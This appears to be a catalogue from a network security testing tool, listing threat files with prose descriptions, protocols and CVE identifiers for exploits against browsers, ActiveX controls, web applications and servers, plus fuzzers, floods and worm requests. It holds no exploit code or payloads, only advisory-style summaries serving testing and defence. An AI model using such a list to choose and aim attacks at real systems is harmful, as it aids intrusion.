Detailed Description:	A vulnerability has been reported in Microsoft XML Core Services (MSXML). The vulnerability is due to an error in MSXML's enforcement of cross-domain policies, allowing content to be accessed from different domains. A remote unauthenticated attacker could exploit this vulnerability by persuading a target user to visit a specially crafted website. Successful exploitation could allow an attacker to read files on the user's local file system or read files on the web domains where the user is currently authenticated.
Protocol Type:	HTTP,HTTPS
CVEID:	CVE-2014-0266
OSVDB:	103189
Threat File Name:	FSC20080626-08_Microsoft_Internet_Explorer_Location_Property_Cross_Domain_Scripting.xml
Executive Description:	Microsoft Internet Explorer Location Property Cross Domain Scripting
Detailed Description:	There exists a vulnerability in Microsoft Internet Explorer. The vulnerability is due to an input validation error in assigning the location or location.href property of the window object. Successful exploitation can allow a remote attacker to execute arbitrary script code in a user's browser session in context of the trusted site and to access the content of a web page in a different domain. In an attack scenario, where script is executed on the target machine with different domain context, the behaviour of the target is dependent on the intention of the malicious code. If such an attack is not executed successfully, the vulnerable application may not show any abnormal behaviour.
Protocol Type:	HTTP/HTTPS

CVEID:	CVE-2008-2947
Threat Package:	Standard
Threat File Name:	ms06-006_IPv6.xml
Executive Description:	Windows Media Player Plugin MS06-006 Overflow (IPv6 Version)
Detailed Description:	(IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2006-0005
OSVDB:	23132
Threat File Name:	TSL20140930-06_ManageEngine_Multiple_Products_FileCollector_doPost_Directory_Traversal.xml
Executive Description:	ManageEngine Multiple Products FileCollector doPost Directory Traversal
Detailed Description:	A directory traversal vulnerability exists in ManageEngine OpManager, Social IT Plus and IT360. The vulnerability is due to lack of authentication and insufficient input validation on parameters sent to <code>"/servlet/com.me.opmanager.extranet.remote.communication.fw.fe.FileCollector&quot;</code> in HTTP requests. A remote unauthenticated attacker can upload arbitrary files to arbitrary locations. In a successful attack scenario, the attacker can execute arbitrary code with SYSTEM privileges by placing executable files in critical locations.
Protocol Type:	HTTP
CVEID:	CVE-2014-6034
OSVDB:	112276
Threat File Name:	fuzz-IP_MF_IPv6.xml
Executive Description:	Fuzzer for Protocol:IP and Field:MF (IPv6 Version)
Detailed Description:	(IPv6 Version)
Protocol Type:	IP/IPv6
Threat Package:	Fuzzing
Threat File Name:	linkedin_toolbar_activeX_bof_IPv6.xml
Executive Description:	LinkedIn Toolbar ActiveX ControlRemote Buffer Overflow Vulnerability (IPv6 Version)
Detailed Description:	This threat downloads a malicious web page which triggers a buffer overflow in the LinkedIn Toolbar ActiveX application, resulting in the execution arbitrary code. This threat is delivered via HTTP port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2007-3955
Threat Package:	Standard
Threat File Name:	qualcomm_imap_bof_IPv6.xml
Executive Description:	Eudora Qualcomm WorldMail IMAP Buffer Overflow (IPv6 Version)
Detailed Description:	This threat causes a buffer overflow in the IMAP daemon of WorldMail. This is used to gain control of the server using this application. IMAP typically listens on port 143. (IPv6 Version)
Protocol Type:	IMAP/IPv6
CVEID:	CVE-2005-4267
Threat File Name:	TSL20160118-18_Advantech_WebAccess_Dashboard_uploadImageCommon_Arbitrary_File_Upload_IPv6.xml
Executive Description:	Advantech WebAccess Dashboard uploadImageCommon Arbitrary File Upload(IPv6 version)
Detailed Description:	An arbitrary file upload vulnerability has been reported in the Dashboard component of Advantech WebAccess. The vulnerability is due to insufficient input validation within the <code>uploadImageCommon()</code> method in the <code>UploadAjaxAction</code> script. A remote, unauthenticated attacker could exploit this vulnerability by crafting a malicious file and uploading it onto the target system. Successful exploitation could allow the attacker to execute arbitrary code under context of the IIS AppPool.
Protocol Type:	HTTP,IPv6
CVEID:	CVE-2016-0854
Threat File Name:	TSL20160112-18_Microsoft_Word_RTF_Bitmap_biWidth_biHeight_Heap_Buffer_Overflow.xml
Executive Description:	Microsoft Word RTF Bitmap biWidth biHeight Heap Buffer Overflow
Detailed Description:	A heap buffer overflow vulnerability has been reported in Microsoft Office. The application fails to properly handle certain objects in memory when parsing RTF files containing Bitmap images. A remote attacker could exploit this vulnerability by enticing a user to open a specially crafted file. Successful exploitation could result in arbitrary code execution in the context of the currently logged on user.
Protocol Type:	HTTP,HTTPS,IMAP,SMTP,SMB/CIFS
CVEID:	CVE-2016-0010
Threat File Name:	FSC20110321-05_Novell_Netware_FTP_Server_DELETE_Command_Stack_Buffer_Overflow_IPv6.xml
Executive Description:	Novell Netware FTP Server DELETE Command Stack Buffer Overflow(IPv6 Version)
Detailed Description:	A code execution vulnerability exists in Novell Netware. The vulnerability is due to a stack buffer overflow in NWFTPD.NLM when processing DELETE FTP requests. Remote authenticated attackers can exploit this vulnerability by sending maliciously crafted commands to the affected server. In attack scenarios where code execution is successful the behaviour of the affected server depends entirely on the logic of the injected code, which will be executed within the security context of the affected service. In situations where code execution is not successful the affected service may terminate abnormally, causing a denial of service condition.
Protocol Type:	IPv6,FTP
CVEID:	CVE-2010-4228
Threat File Name:	FSC20080110-04_Microsoft_Rich_Textbox_Control_SaveFile_Insecure_Method_Arbitrary_File_Overwrite.xml
Executive Description:	Microsoft Rich Textbox Control SaveFile Insecure Method Arbitrary File Overwrite
Detailed Description:	There exists a file overwriting vulnerability in Microsoft Rich Textbox Control ActiveX control. The flaw is due to lack of path verification in the control's method SaveFile. A remote attacker may exploit this vulnerability via a specially crafted web page to create or modify arbitrary files on the target system.
Protocol Type:	
CVEID:	CVE-2008-0237
Threat Package:	Standard
Threat File Name:	TSL20120829-08_HP_Application_Lifecycle_Management_ActiveX_Control_Insecure_Method_Exposure.xml
Executive Description:	HP Application Lifecycle Management ActiveX Control Insecure Method Exposure

Detailed Description:	An insecure method exposure vulnerability exists in HP Application Lifecycle Management ActiveX control XGO.ocx. The vulnerability is caused by SetShapeNodeType function which exposes a parameter that can be used to control a function pointer. An attacker could exploit this vulnerability by enticing a user to open a specially crafted web page. Successful exploitation could result in code execution in the context of the currently logged in user.
Protocol Type:	HTTP,HTTPS
CVEID:	CVE-N/A
OSVDB:	85152
Threat File Name:	FSC20080317-06_CA_Multiple_Products_ActiveX_Control_ListCtrl_AddColumn_Buffer_Overflow.xml
Executive Description:	CA Multiple Products ActiveX Control ListCtrl AddColumn Buffer Overflow
Detailed Description:	There exists a buffer overflow vulnerability in Computer Associates multiple products. The vulnerability is due to boundary errors while handling crafted parameters passed to function AddColumn. An attacker may exploit this vulnerability by enticing a target user to open a malicious web page. Successful exploitation might lead to injection and execution of arbitrary code in the security context of the currently logged in user. In an attack case where code injection is successful, the behaviour of the target is entirely dependent on the intended function of the injected code. The code in such a case would execute within the security context of the current user. In the case of an unsuccessful code execution attack, Internet Explorer may terminate abnormally.
Protocol Type:	HTTP/HTTPS
CVEID:	CVE-2008-1472
Threat Package:	Standard
Threat File Name:	FSC20060202-10_Mozilla_Products_Graphics_and_XML_Features_Integer_Overflows.xml
Executive Description:	Mozilla Products Graphics and XML Features Integer Overflows
Detailed Description:	There exists an integer overflow in certain versions of Mozilla products. The vulnerability exists in the Scalable Vector Graphics (SVG) rendering engine. A remote attacker may leverage the vulnerability by enticing the victim to visit a malicious web page. Exploitation may lead to memory corruption which can result in denial of service or execution of arbitrary code under the security context of the currently logged in user.
Protocol Type:	HTTP
CVEID:	CVE-2006-0297
Threat Package:	Standard
Threat File Name:	TSL20130430-10_IBM_SPSS_SamplePower_Vsflex71_ActiveX_Control_Buffer_Overflow.xml
Executive Description:	IBM SPSS SamplePower Vsflex71 ActiveX Control Buffer Overflow
Detailed Description:	A buffer overflow vulnerability exists in IBM SPSS SamplePower. The vulnerability is due to a lack of boundary checking on the user-supplied ComboList or ColComboList property value in the Vsflex71 ActiveX control. A remote, unauthenticated attacker can exploit this vulnerability by enticing a user to visit a malicious website. Successful exploitation could allow arbitrary code execution in the context of the target user.
Protocol Type:	HTTP, HTTPS
CVEID:	CVE-2012-5947
OSVDB:	92846
Threat File Name:	FSC20090901-01_OpenOffice_Word_Document_Table_Parsing_Integer_Underflow.xml
Executive Description:	OpenOffice Word Document Table Parsing Integer Underflow
Detailed Description:	An integer underflow vulnerability has been reported in OpenOffice that allows remote attackers to inject and execute arbitrary code on the target system. The vulnerability is due to an integer underflow error when parsing certain records in the document table. Remote attackers can exploit this vulnerability by enticing the target user to open a malicious Word document. In case where code injection and execution is successful, the behaviour of the target is dependent on the intention of the malicious code. The injected code will execute with the privileges of the currently logged in user. In case where code injection is not successful, the affected application might terminate abnormally causing a denial of service condition.
Protocol Type:	HTTP/HTTPS/IMAP/POP3/SMB/CIFS/SMTP/NFS
CVEID:	CVE-2009-0200
Threat Package:	Standard
Threat File Name:	ms_vstudio_activex_overwrite2_IPv6.xml
Executive Description:	Microsoft Visual Studio 6.0 VB To VSI Support Library (VBTOVSI.DLL v. 1.0.0.0) Arbitrary File Overwrite Vulnerability (IPv6 Version)
Detailed Description:	This threat downloads a malicious web page which triggers a buffer overflow in the Microsoft Visual Studio VB To VSI Support Library ActiveX Control, resulting in the execution arbitrary code. This threat is delivered via HTTP port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2007-4890
Threat Package:	Standard
Threat File Name:	TSL20150107-04_ManageEngine_Desktop_Central_MSP_StatusUpdateServlet_fileName_Directory_Traversal_IPv6.xml
Executive Description:	ManageEngine Desktop Central MSP StatusUpdateServlet fileName Directory Traversal IPv6 version.
Detailed Description:	A directory traversal vulnerability exists in ManageEngine Desktop Central MSP. The vulnerability is due to lack of authentication and insufficient input validation of the filename parameter sent to the StatusUpdateServlet page when processing HTTP(S) requests. A remote, unauthenticated attacker can exploit this vulnerability by sending a specially crafted request to the target server. Successful exploitation could lead to arbitrary code execution under the security context of the system user. Tester should set variable \$destPort to 8020 before test.
Protocol Type:	HTTP/HTML.IPV6
CVEID:	CVE-2014-9404
OSVDB:	116802
Threat File Name:	xserver_post_bof_IPv6.xml
Executive Description:	Xserver 0.1 Alpha Post Request Remote Buffer Overflow Vulnerability (POC) (IPv6 Version)
Detailed Description:	This threat demonstrates a stack overflow in Nipun Jain xserver 0.1 alpha, causing denial of service via a POST request with a long URI. Xserver is a web application that typically listens on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2007-3957
Threat Package:	Standard

Threat File Name:	TSL20150423-08_Magento_Forwarded_Parameter_Authentication_Bypass.xml
Executive Description:	Magento Forwarded Parameter Authentication Bypass
Detailed Description:	An authentication bypass vulnerability exists in the e-commerce platform Magento. The vulnerability is due to a logic error when handling a user controlled parameter in the login mechanism. A remote unauthenticated attacker can exploit this vulnerability by sending a crafted HTTP request to the target. Successful exploitation of this vulnerability may allow the attacker to gain access to the target system.
Protocol Type:	HTTP/HTTPS
CVEID:	CVE-2015-1398
OSVDB:	121261
Threat File Name:	phpmyphorum.xml
Executive Description:	PHPMyphorum 1.5a (mep/frame.php) Remote File Include Vulnerability
Detailed Description:	This threat sends a crafted url string that will allow for arbitrary code to be executed on the affected server. PhpMyPhorum is a web application that typically listens on port 80.
Protocol Type:	HTTP
CVEID:	CVE-2007-0361
Threat Package:	Standard
Threat File Name:	TSL20170112-14_ISC_BIND_Query_Response_Missing_RRSIG_Denial_of_Service_IPv6.xml
Executive Description:	ISC BIND Query Response Missing RRSIG Denial of Service (IPv6 Version)
Detailed Description:	A denial-of-service vulnerability has been reported in ISC BIND. The vulnerability is due to a defect that can cause the named service to exit with an assertion failure while processing a crafted response query containing certain record types without an accompanying RRSIG. A remote, unauthenticated attacker could exploit this vulnerability by providing a specially crafted response to the vulnerable server. Successful exploitation could lead to denial-of-service condition.
Protocol Type:	DNS, IPv6
CVEID:	CVE-2016-9444
Threat File Name:	pblang_command.xml
Executive Description:	PBLang Remote Command Execution
Detailed Description:	This threat sends a malformed GET request that causes the PBLang web application to issue remote commands on the target system. PBLang is a web based forum application, and would typically listen on port 80.
Protocol Type:	HTTP
CVEID:	CVE-2005-2893
OSVDB:	19169
Threat Package:	Standard
Threat File Name:	TSL20130402-04_Novell_Messenger_Client_Filename_Parameter_Stack_Buffer_Overflow_IPv6.xml
Executive Description:	Novell Messenger Client Filename Parameter Stack Buffer Overflow(IPv6 version)
Detailed Description:	A stack buffer overflow exists in Novell Messenger client. The vulnerability is due to insufficient validation of the filename parameter with an import command. This could result in a stack buffer overflow. A remote attacker can exploit this vulnerability by enticing a user to follow a malicious URL with the nim: protocol. Successful exploitation could result in arbitrary code being executed with the privileges of the currently logged in user.
Protocol Type:	IPV6, HTTP, HTTPS, SMTP, POP3, POP3S, IMAP, IMAPS
CVEID:	CVE-2013-1085
OSVDB:	91477
Threat File Name:	comvironment_rfi.xml
Executive Description:	ComVironment 4.0 (grab_globals.lib.php) Remote File Include Vulnerability
Detailed Description:	This threat sends a crafted url string that will allow for arbitrary code to be executed on the affected server. ComVironment is a web application that typically listens on port 80.
Protocol Type:	HTTP
CVEID:	CVE-2007-0395
Threat Package:	Standard
Threat File Name:	TSL20161222-08_VegaDNS_axfr_get.php_Command_Injection_IPv6.xml
Executive Description:	VegaDNS axfr_get.php Command Injection (IPv6 Version)
Detailed Description:	A command injection vulnerability has been reported in the axfr_get.php script of VegaDNS. The vulnerability is due to insufficient input validation of the script's \$file variable, which is derived from the user-supplied \$domain parameter. A remote, unauthenticated attacker could exploit this vulnerability by sending crafted HTTP requests to the target server. Successful exploitation allows the attacker to execute arbitrary commands under the security context of the web server.
Protocol Type:	HTTP, HTTPS, IPv6
Threat File Name:	TSL20160209-12_Microsoft_Hyperlink_Object_Library_Information_Disclosure_IPv6.xml
Executive Description:	Microsoft Hyperlink Object Library Information Disclosure(IPv6 version)
Detailed Description:	An information disclosure vulnerability has been reported in Microsoft Hyperlink Object Library. The vulnerability is due to the Hyperlink Object Library improperly disclosing the contents of its memory. A remote attacker can exploit this vulnerability by enticing the victim to click a link in an email message or open an Office file. Successful exploitation would allow the attacker to gain sensitive information.
Protocol Type:	HTTPS, HTTP, IMAP, SMB/CIFS, SMTP, IPV6
CVEID:	CVE-2016-0059
Threat File Name:	TSL20140421-10_CA_ERwin_Web_Portal_FileAccessServiceProvider_Denial_of_Service_IPv6.xml
Executive Description:	CA ERwin Web Portal FileAccessServiceProvider Denial of Service(IPv6 Version)
Detailed Description:	A directory traversal vulnerability exists in CA ERwin Web Portal. This vulnerability is due to lack of authentication and insufficient input validation in the FileAccessServiceProvider servlet when processing HTTP requests. By sending crafted HTTP requests to the target system, a remote unauthenticated attacker can leverage this vulnerability to delete arbitrary files recursively on a target system.
Protocol Type:	HTTP, IPV6
CVEID:	CVE-2014-2210

OSVDB: [106136](#)

Threat File Name:	TSL20150202-02_Adobe_Flash_Player_DomainMemory_Clear_Use_After_Free_IPv6.xml
Executive Description:	Adobe Flash Player DomainMemory Clear Use After Free IPv6 version
Detailed Description:	A use after free vulnerability has been reported in Adobe Flash Player. The vulnerability is due to an issue with Worker objects clearing domain memory. A remote attacker can exploit this vulnerability by enticing a target user to open a crafted file. A successful attack could result in arbitrary code execution in the security context of the target user.
Protocol Type:	HTTP/HTTPS/IMAP/POP3/SMB/CIFS/SMTP/NFS.IPV6
CVEID:	CVE-2015-0313
OSVDB:	117853
Threat File Name:	ppalcart_rfi.xml
Executive Description:	ppalCart V(2.5 EE) Remote File Inclusion Vulnerability
Detailed Description:	This threat sends a crafted url string that will allow for arbitrary code to be executed on the affected server. PayProCart is a web application that typically listens on port 80.
Protocol Type:	HTTP
CVEID:	CVE-2006-4672
Threat Package:	Standard
Threat File Name:	FSC20090323-09_HP_OpenView_Network_Node_Manager_OvOSLocale_Parameter_Buffer_Overflow_IPv6.xml
Executive Description:	HP OpenView Network Node Manager OvOSLocale Parameter Buffer Overflow (IPv6 Version)
Detailed Description:	A buffer overflow vulnerability exists in HP OpenView Network Node Manager software. The vulnerability is due to a boundary error while processing specially crafted HTTP requests sent to the server. Remote attackers could exploit this vulnerability to inject and execute arbitrary code on the target server. In an attack case where code injection is successful, the behaviour of the target is entirely dependent on the intended function of the injected code. The code in such a case would execute within the security context of the affected process. In an attack case where code injection is not successful, the affected process will terminate abnormally. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2009-0920
Threat Package:	Standard
Threat File Name:	TSL20160901-05_Microsoft_Office_CVE-2016-3318_Remote_Code_Execution_IPv6.xml
Executive Description:	Microsoft Office CVE-2016-3318 Remote Code Execution (IPv6 Version)
Detailed Description:	An out-of-bounds write vulnerability has been reported in Microsoft Office products. The vulnerability is due to improper handling embedded images in the Microsoft document files. A remote, unauthenticated attacker could exploit this vulnerability by enticing a victim user to open a maliciously crafted document. Successful exploitation could allow the attacker to execute arbitrary code under the security context of the user.
Protocol Type:	HTTP, IPv6
CVEID:	CVE-2016-3318
Threat File Name:	acunetix_wvs_dos_IPv6.xml
Executive Description:	Acunetix Web Vulnerability Scanner Remote Denial of Service Vulnerability (IPv6 Version)
Detailed Description:	This threat sends a series of HTTP GET requests with an invalid "Content-Length" value. Acunetix Web Vulnerability Scanner is a web application that typically listens on port 80 or 8080. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2007-0120
Threat Package:	Standard
Threat File Name:	TSL20170314-32_Microsoft_Graphics_Component_CVE-2017-0014_Memory_Corruption.xml
Executive Description:	Microsoft Graphics Component CVE-2017-0014 Memory Corruption
Detailed Description:	A memory corruption vulnerability has been reported in an unspecified component of Microsoft Windows Graphics Component. The vulnerability is due to an error in how the Windows Graphics Component handles certain objects in memory. A remote attacker can exploit this vulnerability by enticing an user to click a maliciously crafted link or open a maliciously crafted file. Successful exploitation could allow to execute arbitrary code in the context of the user.
Protocol Type:	HTTP,HTTPS,SMB/CIFS,IMAP,POP3,SMTP
CVEID:	CVE-2017-0014
Threat File Name:	fuzz-HTTP_AppendformatsToPUT.xml
Executive Description:	Fuzz HTTP PUT appended by %s
Detailed Description:	Fuzzes the Method field appended by %s
Protocol Type:	HTTP
Threat Package:	Fuzzing
Threat File Name:	FSC20080212-23_Microsoft_Works_File_Converter_WPS_File_Section_Header_Index_Table_Stack_Overflow.xml
Executive Description:	Microsoft Works File Converter WPS File Section Header Index Table Stack Overflow
Detailed Description:	There exists a buffer overflow vulnerability in Microsoft Works File Converter. The vulnerability is due to insufficient input validation of section header index table while handling WPS files. A remote attacker can exploit this vulnerability by enticing the target user to open maliciously constructed files, potentially causing arbitrary code to be injected and executed in the security context of the logged-in user.
Protocol Type:	
CVEID:	CVE-2008-0105
Threat Package:	Standard
Threat File Name:	FSC20071121-02_BitDefender_Online_Scanner_ActiveX_Control_Buffer_Overflow_IPv6.xml
Executive Description:	BitDefender Online Scanner ActiveX Control Buffer Overflow (IPv6 Version)
Detailed Description:	There exists a buffer overflow vulnerabilities in BitDefender Online Scanner. These vulnerabilities are caused due to boundary errors within the BitDefender Online Scanner OScan.ocx ActiveX Control. A remote attack can exploit this vulnerability by enticing the target user to open a crafted webpage, potentially causing arbitrary code to be injected and executed in the security context of the current user. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2007-5775

Threat Package:	Standard
Threat File Name:	xoops_sqli.xml
Executive Description:	XOOPS SQL Injection 2
Detailed Description:	This threat sends a crafted HTTP Request with with a modified URL string containing an SQL query that can be used to access the database with the permissions of the server. XOOPS is a web application that typically listens on port 80.
Protocol Type:	HTTP
CVEID:	CVE-2005-3681
OSVDB:	20852
Threat Package:	Standard
Threat File Name:	http_options.xml
Executive Description:	HTTP OPTIONS Probe
Detailed Description:	This threat issues out a HTTP OPTIONS request, attempting to find out what capabilities the webserver has (ie, webdav, proxy, etc). This is normally used to determine which attack to launch next.
Protocol Type:	HTTP
CVEID:	CVE-2002-0240
OSVDB:	3565
Threat Package:	Standard
Threat File Name:	FSC20100608-15_Microsoft_Office_Excel_SxView_Record_Parsing_Memory_Corruption.xml
Executive Description:	Microsoft Office Excel SxView Record Parsing Memory Corruption
Detailed Description:	A memory corruption vulnerability has been reported in Microsoft Office Excel. The vulnerability is due to a flaw while parsing certain records. In an attack scenario, where arbitrary code is injected and executed on the target machine, the behavior of the target is dependent on the intention of the malicious code. If such an attack is not executed successfully, the vulnerable application may terminate.
Protocol Type:	HTTP
CVEID:	CVE-2010-0821
Threat Package:	Standard
Threat File Name:	FSC20071123-09_Aurigma_Image_Uploader_ActiveX_Control_Denial_of_Service_IPv6.xml
Executive Description:	Aurigma Image Uploader ActiveX Control Denial of Service (IPv6 Version)
Detailed Description:	There exists a buffer exhaustion vulnerability in Aurigma Image Uploader ActiveX control. The flaw is due to a boundary error when processing overly long parameter passed to the control's methods. A remote attacker can exploit this vulnerability by persuading the target user to open a malicious web page. Successful exploitation may create a denial of service condition to the affected process. (IPv6 Version)
Protocol Type:	HTTP/IPv6
Threat Package:	Standard
Threat File Name:	SNMPv3catDoS_IPv6.xml
Executive Description:	Cisco SNMPv3 Denial of Service (IPv6 Version)
Detailed Description:	This threat sends an SNMPv3 message to the target on port 162. Can cause various versions of IOS to crash. (IPv6 Version)
Protocol Type:	SNMPv3/IPv6
CVEID:	CVE-2003-1002
OSVDB:	3025
Threat Package:	Standard
Threat File Name:	FSC20090114-22_Oracle_TimesTen_In-Memory_Database_evtdump_CGI_module_Format_String.xml
Executive Description:	Oracle TimesTen In-Memory Database evtdump CGI module Format String
Detailed Description:	There is a format string error vulnerability in TimesTen In-memory Database. The flaw is due to a input error when processing HTTP requests sent to CGI program evtdump. Remote authenticated attackers can exploit this vulnerability by sending specially crafted messages to the affected interface. A successful exploitation can lead to arbitrary code execution with System level privileges. In an attack case where code injection is not successful, the affected process will terminate abnormally. In a more sophisticated attack where code injection is successful, the behaviour of the target is entirely dependent on the intended function of the injected code. The code in such a case would execute within the security context of the affected process with System level privileges.
Protocol Type:	HTTP-like
CVEID:	CVE-2008-5440
Threat Package:	Standard
Threat File Name:	FSC20080814-06_FlashGet_FTP_PWD_Command_Stack_Buffer_Overflow.xml
Executive Description:	FlashGet FTP PWD Command Stack Buffer Overflow
Detailed Description:	A buffer overflow vulnerability exists in FlashGet. The vulnerability is caused by insufficient boundary checking. An attacker could exploit this vulnerability by enticing a user to an FTP server that sends specially crafted PWD command responses to the FlashGet application, potentially leading to injection and execution of arbitrary code in the security context of the target system's logged in user.
Protocol Type:	FTP
Threat Package:	Standard
Threat File Name:	lupper30.xml
Executive Description:	Lupper Worm 30
Detailed Description:	This threat is one of the HTTP requests for the Lupper Worm. Lupper is a worm that exploits well known web application holes.
Protocol Type:	HTTP
CVEID:	CVE-2005-1921
OSVDB:	17793
Threat Package:	Standard
Threat File Name:	TSL20170320-01_Mozilla_Firefox_createImageBitmap_Integer_Overflow.xml
Executive Description:	Mozilla Firefox createImageBitmap Integer Overflow
Detailed Description:	An integer overflow exists in Mozilla Firefox. The vulnerability is due to an overly large value of image offset, length and layout arguments of createImageBitmap method. A remote attacker could exploit this vulnerability by enticing the target user to open a specially crafted web page. Successful exploitation could lead to information disclosure or potential remote code execution in the security context of the target user.

Protocol Type:	HTTP,HTTPS
CVEID:	CVE-2017-5428
Threat File Name:	shockwave10_activex_dos_a_IPv6.xml
Executive Description:	Macromedia Shockwave 10 SWDIR.DLL ActiveX Control Remote Denial of Service Vulnerability (IPv6 Version)
Detailed Description:	This threat leverages a flaw in the SWDIR.DLL ActiveX Control that will lead to a denial of service (IE 7 crash). Macromedia Shockwave SWDIR.DLL ActiveX Control is a component of Internet Explorer, a web browser that connects to web servers listening on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2006-6885
Threat Package:	Standard
Threat File Name:	ms_office_help_activex_dos_IPv6.xml
Executive Description:	Microsoft Office 2000 Controllo UA di Microsoft Office (OUACTRL.OCX v. 1.0.1.9) "HelpPopup" method Remote Buffer Overflow and winhlp32.exe Denial of Service (IPv6 Version)
Detailed Description:	This threat downloads a malicious web page which triggers a denial of service in the Microsoft Office via its HelpPopup ActiveX method. This threat is delivered via HTTP port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
Threat Package:	Standard
Threat File Name:	TSL20130312-06_Microsoft_Internet_Explorer_CMarkupBehaviorContext_Use_After_Free_IPv6.xml
Executive Description:	Microsoft Internet Explorer CMarkupBehaviorContext Use After Free(IPV6 Version)
Detailed Description:	A code execution vulnerability exists in Microsoft Internet Explorer. The vulnerability is caused by a use-after-free error when processing script code calling the CMarkupBehaviorContext() method. A remote attacker could exploit this vulnerability by enticing the target user to open a malicious web page. In the case of successful exploitation, arbitrary attacker code would be executed in the security context of the target user.
Protocol Type:	IPv6,HTTP,HTTPS
CVEID:	CVE-2013-0089
OSVDB:	91140
Threat File Name:	TSL20130312-02_Microsoft_SharePoint_Server_Cross-Site_Scripting.xml
Executive Description:	Microsoft SharePoint Server Cross-Site Scripting
Detailed Description:	A cross-site scripting (XSS) vulnerability has been reported in Microsoft SharePoint. The vulnerability is due to a lack of validation of Javascript elements contained within specially crafted site content. A remote, unauthenticated attacker can exploit this vulnerability by enticing a target user to view crafted web content (access to which is usually restricted to SharePoint administrators). A successful attack may result in the execution of script code in the target user's browser under the context of the affected SharePoint site.
Protocol Type:	HTTP,HTTPS
CVEID:	CVE-2013-0083
OSVDB:	91150
Threat File Name:	powertcp_zip_activex_bof.xml
Executive Description:	IE 6 / Dart Communications PowerTCP ZIP Compression Control (DartZip.dll 1.8.5.3) Remote Buffer overflow Vulnerability
Detailed Description:	This threat downloads a malicious web page which triggers a buffer overflow in the PowerTCP ZIP Compression ActiveX application, resulting in the overwriting of arbitrary files. This threat is delivered via HTTP port 80.
Protocol Type:	HTTP
CVEID:	CVE-2007-2856
Threat Package:	Standard
Threat File Name:	FSC20080408-10_Microsoft_Windows_ActiveX_Control_hxvz_dll_Memory_Corruption_IPv6.xml
Executive Description:	Microsoft Windows ActiveX Control hxvz.dll Memory Corruption (IPv6 Version)
Detailed Description:	A memory corruption vulnerability exists in Microsoft Windows ActiveX Control hxvz.dll. The flaw is due to improper usage of the ActiveX Control in Internet Explorer. A remote attacker can exploit this vulnerability by enticing the target user to open a crafted webpage, potentially causing arbitrary code to be injected and executed in the security context of the current user. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2008-1086
Threat Package:	Standard
Threat File Name:	TSL20161213-17_Microsoft_Internet_Explorer_and_Edge_CVE-2016-7202_Memory_Corruption_IPv6.xml
Executive Description:	Microsoft Internet Explorer and Edge CVE-2016-7202 Memory Corruption (IPv6 Version)
Detailed Description:	A memory corruption exists in Microsoft Internet Explorer and Edge. This vulnerability is due to improper objects access in memory. A remote attacker could exploit these vulnerabilities by enticing the target user to open a specially crafted web page. Successful exploitation could lead to arbitrary code execution in the security context of the target user.
Protocol Type:	HTTP, HTTPS, IPv6
CVEID:	CVE-2016-7202
Threat File Name:	TSL20140812-20_Microsoft_Internet_Explorer_CVE-2014-2824_Memory_Corruption.xml
Executive Description:	Microsoft Internet Explorer CVE-2014-2824 Memory Corruption
Detailed Description:	A memory corruption vulnerability exists in Microsoft Internet Explorer. The vulnerability is due to an error while handling certain objects when processing HTML and script code. A remote unauthenticated attacker could exploit this vulnerability by enticing the target user to open a specially crafted web page. Successful exploitation could lead to arbitrary code execution in the security context of the target user.
Protocol Type:	HTTP/HTTPS
CVEID:	CVE-2014-2824
OSVDB:	109955
Threat File Name:	TSL20170314-39_Microsoft_Internet_Explorer_JoinToString_Type_Confusion_IPv6.xml
Executive Description:	Microsoft Internet Explorer JoinToString Type Confusion (IPv6 Version)

Detailed Description:	A memory corruption vulnerability exists in Microsoft Internet Explorer. The vulnerability is due to a type confusion when handling objects in memory by JScript engine in Internet Explorer. A remote attacker could exploit the vulnerability by enticing the target user to open a specially crafted web page. Successful exploitation could lead to arbitrary code execution in the security context of the target user.
Protocol Type:	HTTP,HTTPS,IPv6
CVEID:	CVE-2017-0130
Threat File Name:	TSL20111205-06_Cisco_WebEx_Player_ATAS32_DLL_Remote_Code_Execution_IPv6.xml
Executive Description:	Cisco WebEx Player ATAS32.DLL Remote Code Execution(IPV6 Version)
Detailed Description:	A code execution vulnerability exists in Cisco WebEx Player. The vulnerability exists in ATAS32.DLL and is due to insufficient validation of some values in record Type 0x1F and Type 0xBB while processing WebEx Recording Format (WRF) files. The code uses these values in determining the source, size and the destination pointer of a memcpy(). A remote unauthenticated attacker can leverage this vulnerability by crafting records of Type 0x1F and Type 0xBB in a WRF file and enticing the target users to view the malicious file. Successful exploitation would result in execution of arbitrary code on the target host in the context of the application.
Protocol Type:	IPv6,HTTP,HTTPS,IMAP,POP3,SMTP,SMB/CIFS
CVEID:	CVE-2011-4004
OSVDB:	76571
Threat File Name:	TSL20170411-22_Microsoft_Edge_asm.js_Type_Confusion.xml
Executive Description:	Microsoft Edge asm.js Type Confusion
Detailed Description:	A type confusion vulnerability has been reported in Microsoft Edge Scripting Engine. The vulnerability is due to improper parsing of eval function arguments when it accesses an asm.js function. A remote attacker could exploit this vulnerability by enticing the target user to open a specially crafted web page. Successful exploitation could lead to arbitrary code execution in the security context of the target user.
Protocol Type:	HTTP,HTTPS
CVEID:	CVE-2017-0093
Threat File Name:	TSL20110510-11_Mozilla_Firefox_OBJECT_mChannel_Use_After_Free.xml
Executive Description:	Mozilla Firefox OBJECT mChannel Use After Free
Detailed Description:	A use-after-free vulnerability exists in Mozilla Firefox. The vulnerability is due to a specific method call on an object with an unassigned mChannel, resulting in a dangling pointer. A remote attacker could exploit this vulnerability by enticing a user to visit a malicious web page. A successful attack would result in execution of arbitrary code in the security context of the browser's user. If the attack fails, Firefox may terminate abnormally.
Protocol Type:	HTTP,HTTPS
CVEID:	CVE-2011-0065
Threat File Name:	ipv6_rst_flood.xml
Executive Description:	RST Flood IPv6
Detailed Description:	This threat is an IPv6 version of a RST flood.
Protocol Type:	TCP
Threat Package:	Standard
Threat File Name:	phpnuke_sqli_IPv6.xml
